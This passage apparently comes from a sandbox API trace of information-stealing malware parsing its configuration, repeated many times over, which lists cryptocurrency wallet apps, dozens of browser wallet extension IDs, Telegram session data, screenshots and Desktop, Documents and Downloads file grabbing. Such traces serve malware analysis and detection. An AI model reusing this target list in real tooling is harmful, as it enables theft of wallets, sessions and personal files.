Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.764] lstrlenW (lpString="wlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4036 [0259.764] LocalAlloc (uFlags=0x40, uBytes=0x2008) returned 0x6ef5a0 [0259.765] StrCpyW (in: psz1=0x6b9720, psz2="wlts" | out: psz1="wlts") returned="wlts" [0259.765] LocalFree (hMem=0x6ef5a0) returned 0x0 [0259.765] StrStrW (lpFirst="wlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.766] lstrcmpiW (lpString1="wlts", lpString2="libs") returned 1 [0259.766] LocalFree (hMem=0x6b9720) returned 0x0 [0259.766] LocalFree (hMem=0x6bb6b0) returned 0x0 [0259.767] LocalFree (hMem=0x6bd640) returned 0x0 [0259.768] StrStrW (lpFirst="wlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.768] lstrlenW (lpString="wlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension 